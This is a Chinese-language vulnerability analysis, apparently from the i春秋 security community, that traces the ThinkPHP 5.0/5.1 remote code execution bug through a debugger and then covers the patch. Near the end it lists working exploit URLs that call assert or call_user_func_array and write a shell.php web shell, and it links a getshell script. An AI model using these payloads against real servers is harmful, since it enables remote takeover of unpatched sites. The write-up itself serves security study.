thinkphp v5.0.11漏洞_ThinkPHP5丨远程代码执行漏洞动态分析

eb3ddc8b392b566c70ad3d1041e619ae.gif

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,在保持出色的性能和至简代码的同时,也注重易用性。但是简洁易操作也会出现漏洞,之前ThinkPHP官方修复了一个严重的远程代码执行漏洞。

这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令,受影响的版本包括5.0和5.1版本。

那么今天i春秋用动态分析法来介绍远程代码执行,同时还能快速了解整个执行过程和一些变量参数,文章阅读用时约7分钟。

81cfd392f16f65c106f222de07844202.png

511fd6e6c1f75ceb2cd600bdc6101bd3.png

01

环境

程序源码下载:

http://www.thinkphp.cn/download/967.html

Web环境:Windows 10 x64+PHPStudy 20018

调试工具:phpstorm+xdebug(用vscode也可以,我比较习惯用phpstorm)

因为我是从头分析到尾,所以要在设置里面勾上Break at first line in PHP script

91eafe63ab2c4d7dfe447e50bf1ac954.png

搭建就不多说了,放源码在根目录然后phpstudy启动!

02

漏洞复现

63a59267012980f92f9456a35e70efd2.png

其实有很多利用的地方,到后面分析完再说。

03

漏洞分析

因为是从开始分析,也比较适合新手,就不演示去下某个断点了,如果有不懂的你们也可以在不懂的地方下一个断点然后继续分析(记得去掉Break at first line in PHP script再下断点)。

有些不是重点的直接F7或者F8走下去,F7跟进Facade:

f1b8a1c8bcf59a14ad57b1088a269183.png

到App.php初始化的地方,继续F8往下面走:

a843864ca71680ff614417074fdc1c3b.png

到routeCheckF7跟进去:

99d464c30d0d5b64bf4d20f057e1d122.png

到这里F7继续跟进去:

7c7d8de88d0034ea9fea6831b6a44c3a.png

有些没有必要的函数就直接F8跳过去,到pathinfo( )这里F7跟进去:

ac16b06ba322bb53e26a4f560d153afe.png

我们可以分析一下这个·pathinfo函数的代码$this->config->get('var_pathinfo')这一句是从配置文件config/app.php获取的值:

e71cc62c9a20cf042c5e31890211d646.png

当请求报文包含$_GET['s'],就取其值作为pathinfo,并返回pathinfo给调用函数,所以我们可利用$_GET['s']来传递路由信息。

    public function pathinfo(){
        if (is_null($this->pathinfo)) {
            if (isset($_GET[$this->config->get('var_pathinfo')])) {
                // 判断URL里面是否有兼容模式参数
                $_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')];
                unset($_GET[$this->config->get('var_pathinfo')]);
            } elseif ($this->isCli()) {
                // CLI模式下 index.php module/controller/action/params/...
                $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
            }

            // 分析PATHINFO信息
            if (!isset($_SERVER['PATH_INFO'])) {
                foreach ($this->config->get('pathinfo_fetch') as $type) {
                    if (!empty($_SERVER[$type])) {
                        $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
                        substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
                        break;
                    }
                }
            }

            $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
        }

        return $this->pathinfo;
    }

可以看到return $this->pathinfo;返回的内容:

cd59d122d7bb13214ed0044c09960159.png

F7走,可以看到$pathinfo赋值给$this->path:

bfd44b3eeb667782f70e096cd66c3600.png

F7走到check的函数,如果开启了强制路由则会抛出异常,也就是说该漏洞在开启强制路由的情况下不受影响,但是默认是不开启的。

后面看到实例化了UrlDispatch对象,将$url传递给了构造函数。

5cf69e549783138f5291071478614fca.png

再继续分析下去,中间有些不必要的直接F8走过就行了。可以看到将$url传递给了$action。

d53568caefb40f909051e1ebbf6d0099.png

F7走下去,跳回了App.php,可以看到$dispatch返回来的值代入dispatch方法。

75b35b40b9b083577a20a6bf024587c4.png

F7走进去,可以看到传入的$dispatch赋值给了$this->dispatch,不过现在分析这个版本是有改动的,有些版本是在这里用dispatch代入下面会分析到的parseUrl方法,这个版本的是用$this->action来parseUrl方法的,继续分析下去,下面会分析到的。

359c2b7d3af501c3e1207bef9102507b.png

F7又返回了App.php的文件,可以看到执行调度这里$data = $dispatch->run( );,我们F7跟进去。

9104c428588984c1890af94c5a4fff42.png

这里就是上面所说的,$url是由thinkphp/library/think/route/Dispatch.php里面的$this->action = $action;传过来的。

645d129faed65eec8485962f893d7486.png

我们F7继续分析parseUrl方法,然后F8走到这里。

7520eaa4ac06be25dc4c8b5e7cbd50b4.png

F7进到这个parseUrlPath方法里面,用/来分割[模块/控制器/操作]并存到$path数组里面。

    private function parseUrlPath($url){
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];

        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } elseif (false !== strpos($url, '=')) {
            // 参数1=值1&参数2=值2...
            parse_str($url, $var);
        } else {
            $path = [$url];
        }

        return [$path, $var];
    }

1852a73ee3b210a30db68decb688b8d8.png

中间的继续F8往下走,返回的$route数组

30fa965eac8ada16910eb6728fcb90cd.png

继续往下走,F7进去。

470a92aa6f7b0ed73f69bcabe79c3eac.png

可以看到:

thinkphp/library/think/route/Dispatch.php类这里的$this->action的值变了。

29d286ff24335b4826d9ad365f98735b.png

继续会走到:

thinkphp/library/think/route/dispatch/Module.php,可以看到$this->action赋值给了$result。

0447fef845285ec07880ac1d5f09f1f9.png

F8往下走,走到实例化控制器,这里的$controller是可控的,是由上面的$result[1]传过来的。

2cd2dd5aecafa733b13f15fbc51ba34c.png

F7跟进去,当$name存在反斜杠时就直接将$name赋值给$class并返回。攻击者通过控制输入就可以操控类的实例化过程,从而造成代码执行漏洞。

047da748b167f097f01a2db5b807650c.png

下面就是调用反射执行类的步骤了:

b208ea3227d489c34aeb58772e18026d.png

也可以往下看,这里是通过invokeMethod 函数动态调用方法的地方,可以看到$class是think\Requset的类,$method是input。

271896b250777cf6c52e0a444af346ed.png

后面就是把内容输出到浏览器的过程了

2d5e6dddfea1a556ac3c04b4ec39a03f.png

04

漏洞分析回顾

开始我们分析pathinfo( )函数的时候得知可以用s来获取路由信息

parseUrlPath方法用来分割[模块/控制器/操作]格式

在后面传入$controller的时候,就是开始我们获取到路由的值,但是用反斜杠就开头,就是想要实例化的类。

最后是反射函数,调用了input方法执行phpinfo( )

一定是要Request类里面的input方法来执行吗?

不一定,视版本而决定。

以下是先知大神分类出来的

5.1是下面这些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

think\Route 
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php

5.0.x php版本>=5.4:

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

这里也不写getshell的python脚本了 ,可以参考:

https://github.com/theLSA/tp5-getshell

05

补丁分析

下面是针对5.0和5.1的补丁,添加了正则过滤,导致无法再传入\think\app这种形式的控制器。

4303c0ca291e7e73e7c9e7483597691e.png

91aa9d099d16c4a5f071447921137bd3.png

以上是今天的内容,大家看懂了吗?

新来的朋友如果想要了解其他的必备技能和实用工具,可以点击菜单栏中的入门锦囊查看相关内容:

1fd8a1085a1b41370907770d2222b320.png

文章素材来源于i春秋社区

52ac8a90fd0089bba4eb154f4b111f6d.png

i春秋官方公众号为大家提供

前沿的网络安全技术

简单易懂的实用工具

紧张刺激的安全竞赛

还有网络安全大讲堂

更多技能等你来解锁

7009b2ba1e4f66eef736c07d322ad376.png

63f733833c026b623dd8c865c6e3dadb.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/552752.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

本地提交spark_Spark 数据本地化级别

​​RDD 源码大家可以看到源码中的第五条注释说明&#xff0c;翻译过来的大概意思是提供一系列的最佳计算位置。我之前一直不太清楚 spark 是如何内部实现的&#xff0c;今天就带领大家来看一看 spark 的本地数据化级别在任务执行中的演变过程。1 数据的本地化级别有哪些&#…

街舞中的rolling机器人_首家!爆点!奈雪の茶、蛙小侠..开业倒计时!街舞PK…这个六一就差你来围观了...

说起济南的各大shopping mall世茂广场绝对是最得人心的总能迅速集结当下最火爆的品牌各种线上线下活动也是搞得新颖又有趣五一的“刘看山”还没结束呢这就马不停蹄的要上新活动了前方预警⚠奈雪の茶等一大波新店又要入驻啦 还有 “奔跑吧爸爸”亲子活动、街舞大赛 ……统统都在…

简述isodata算法的原理_基于UWB技术的室内定位方法简述

1. UWB室内定位概述&#xff1a;UWB室内定位技术与传统通信技术有极大的差异&#xff0c;它不需要使用传统通信体制中的载波&#xff0c;而是通过发送和接收具有纳秒或纳秒级以下的极窄脉冲来传输数据&#xff0c;从而具有GHz量级的带宽。超宽带室内定位可用于各个领域的室内精…

slider获取点击 unity_Unity基础 | 70分钟带你轻松入门

Hello . 大家好今天给大家分享Unity3D的基础入门我是麦田这次录制的教程是面向零基础&#xff0c;想上手Unity的同学。所以就做了这一次大串讲。(只此一回&#xff0c;别无分号了。)时长1小时10分钟&#xff0c;我的建议是一口气看完。(因为我也是一口气讲完的)大家可以点击文末…

达梦数据库导入oracle数据_达梦数据库助力加速石油石化行业数字化转型升级

2020中国石油石化企业信息技术交流大会暨数字化转型、智能化发展高峰论坛于10月22日-23日在北京召开&#xff0c;武汉达梦数据库有限公司(简称达梦公司)作为国产数据库代表企业受邀参与此次活动&#xff0c;并以“国产数据库能源行业解决方案”为主题报告&#xff0c;为来宾介绍…

在lcd屏幕上窗口显示一个bitmap_SmartDrop——LED/LCD大屏内容投屏管理软件

产品简介SmartDrop是飞画推出的一款针对拼接大屏(LCD/LED)进行内容投屏管理的播控软件&#xff0c;支持LCD/LED两种应用环境&#xff0c;用户可以根据屏幕的使用场景进行选择安装LCD-Drop或LED-Drop。SmartDrop支持超高分辨率&#xff0c;显示窗口分辨率自定义,远程可视化控制&…

复杂电路简化经典例题_【中考物理】电路简化的10大原则和7大步骤

电路问题是初中物理比较难的知识&#xff0c;也是中考很重要的一部分。很多同学遇到电路类的题目&#xff0c;摆在面前的第一个问题就是不会简化电路图。今天给大家分享电路简化的10大原则和7大步骤&#xff0c;希望能够帮你解决这个难题&#xff01;电路简化的10大基本原则初中…

单关闭功能_广告弹窗关闭

相信现在大部分电脑都安装360安全卫士和搜狗拼音输入法&#xff0c;关于这两款软件各有吐槽&#xff0c;最讨厌的莫过于莫名奇妙的各种广告弹窗&#xff0c;让人不厌其烦。因为我们是免费&#xff0c;所以不要渴求太多。360安全卫士广告弹窗关闭办法1、打开360安全卫士点击右上…

忽视大小写函数_使用率低但功能强大的6个Excel函数公式应用技巧解读!

在Excel函数公式中&#xff0c;有部分函数的使用率是比较低的&#xff0c;但是其功能也是非常强大的。一、Median函数。功能&#xff1a;返回一组数的中值。中值就是一组数的中间数值&#xff0c;如果参数包含的数值是偶数&#xff0c;Median函数将返回位于中间两个值的平均值。…

创建路径_PS钢笔工具是建立路径的基本工具

PS“钢笔工具”是建立路径的基本工具&#xff0c;用来绘制任意形状的图形路径&#xff0c;钢笔工具通过设置锚点绘制形状路径。新建一个页面&#xff0c;选择钢笔工具&#xff0c;在页面上单击&#xff0c;建立路径的开始点&#xff0c;也就是路径的第一个锚点。再单击&#xf…

使用 保存文件_使用SaveFileDialog调用保存文件对话框

使用SaveFileDialog调用保存文件对话框【实例介绍】本实例使用SaveFileDialog对话框实现了保存文件的功能。运行程序&#xff0c; 保存文件&#xff0c;打开“保存文件”对话框(Windows中一般称为“另存为”对话框)&#xff0c;实现保存操作。【开发过程】(1) 创建一个Windows应…

js验证家庭住址_手摇充电电筒、多功能组合剪刀……官方清单建议上海家庭储备13种应急物资...

面对灾情或突发事件&#xff0c;第一时间自救、避险或撤离&#xff0c;可把损失和伤亡降到最低&#xff0c;因此&#xff0c;以家庭为单位进行应急物资储备尤为必要。12月8日&#xff0c;上海市应急管理局发布了《上海市家庭应急物资储备建议清单》&#xff0c;倡导家庭储备应急…

机器人搏击大赛冠军_机器人的江湖 谁主沉浮——2017格斗机器人大赛侧记

在2017世界机器人大会期间&#xff0c;格斗机器人大赛正如火如荼地进行着。 本报记者 李芃达摄狭路相逢勇者胜&#xff01;相对而行的两辆高速赛车重重地撞在一起……这不是《速度与激情》里的经典桥段&#xff0c;而是2017格斗机器人大赛中狂暴战车之间的巅峰对决。“哇&#…

mysql输出美式报表_Navicat for MySQL 如何预览报表

Navicat for MySQL 使用用户友好 GUI 报表创建工具创建各种不同类型的报表&#xff0c;设计发票、统计、邮寄标签及更多其他报表。输出报表到多种格式&#xff0c;如 text、PDF、Lotus、Excel、Graphic、Html 及更多。Navicat Report Viewer 可浏览由报表创建工具设计的报表&am…

mysql server_id作用_MySQL复制过程中server-id的理解

一. server-id做什么用的&#xff0c;你知道吗&#xff1f;1、 MySQL的同步的数据中是包含server-id的&#xff0c;用于标识该语句最初是从哪个server写入的&#xff0c;所以server-id一定要有的2、 每一个同步中的slave在master上都对应一个master线程&#xff0c;该线程就…

java如何解析cron成可视化_宅家30天,2万字节java高级工程师面试题解析,如何斩获阿里p7...

宅家里一个月&#xff0c;“闭关修炼”的你是不是正在为金三银四跳槽季发愁呢&#xff1f;小编今天说的这富含的15个互联网大厂Java高级工程师核心面试问题整理&#xff01;内容包括&#xff1a;kafka面试题及解析18道ZooKeeper面试题及解析28道Linux 面试真题及解析45道MySQL面…

java接口如何接受语音参数_Java 是如何优雅地实现接口数据校验的?

作者 | 无敌码农 责编 | 张文头图 | CSDN 下载自东方 IC来源 | 无敌码农(ID&#xff1a;jiangqiaodege)本篇文章给大家分享平时开发中总结的一点小技巧&#xff01;在工作中写过 Java 程序的朋友都知道&#xff0c;目前使用 Java 开发服务最主流的方式就是通过 Spring MVC 定义…

msp430单片机 温度计编程_MSP430系列与89C5l系列的比较

1、89C51单片机是8位单片机。其指令是采用的被称为“CISC”的复杂指令集&#xff0c;共具有111条指令。而MSP430单片机是16位的单片机&#xff0c;采用了精简指令集(RISC)结构&#xff0c;只有简洁的27条指令&#xff0c;大量的指令则是模拟指令&#xff0c;众多的寄存器以及片…

php 正则表达式提取出合法的时间_PHP正则表达式核心技术完全详解 第1节

PHP正则表达式核心技术 第1节正则表达式: 就是描述字符串排列模式的一种自定义语法规则、也是用于描述字符串排列 或 匹配模式的一种语法规则、正则表达式: 就是用于描述字符串排列 或 匹配模式的一种语法规则、它主要用于字符串的: 分割字符串、查找字符串、替换字符串 的一系…

anacoda2如何连接使用mysql_Anaconda 安装 Python 库(MySQLdb)的方法-(转)

安装python库的过程中&#xff0c;最重要的地方就是版本需要兼容。其中操作系统为64位&#xff0c;Python为2.X 64位&#xff0c;下载安装文件的时候也要注意版本匹配。其中文件名中包含的cp27表示CPython 2.7版本&#xff0c;cp34表示CPython 3.4&#xff0c;win_amd64指的是6…